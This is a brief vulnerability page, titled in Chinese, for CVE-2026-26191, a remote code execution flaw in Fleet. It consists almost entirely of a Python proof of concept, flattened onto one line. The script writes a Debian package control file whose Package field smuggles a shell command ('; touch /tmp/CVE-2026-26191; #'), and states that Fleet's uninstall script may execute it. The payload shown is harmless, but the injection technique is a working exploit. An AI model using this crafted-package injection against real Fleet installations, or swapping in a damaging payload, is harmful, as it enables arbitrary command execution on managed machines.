CVE-2026-26191 Fleet远程代码执行漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-26191: Crafting a malicious .deb package metadata import os # Simulating the creation of a malicious control file for a Debian package # The 'Package' field is injected with a command separator and a payload malicious_package_name = "pwned.pkg; touch /tmp/CVE-2026-26191; #" control_file_content = f"""Package: {malicious_package_name} Version: 1.0 Section: base Priority: optional Architecture: amd64 Maintainer: Attacker <[email protected]> Description: Malicious package This package demonstrates the command injection vulnerability. """ # Write the control file with open('DEBIAN/control', 'w') as f: f.write(control_file_content) print(f"[+] Generated malicious control file with payload: {malicious_package_name}") print("[+] When Fleet processes this package, the uninstall script may include 'touch /tmp/CVE-2026-26191'")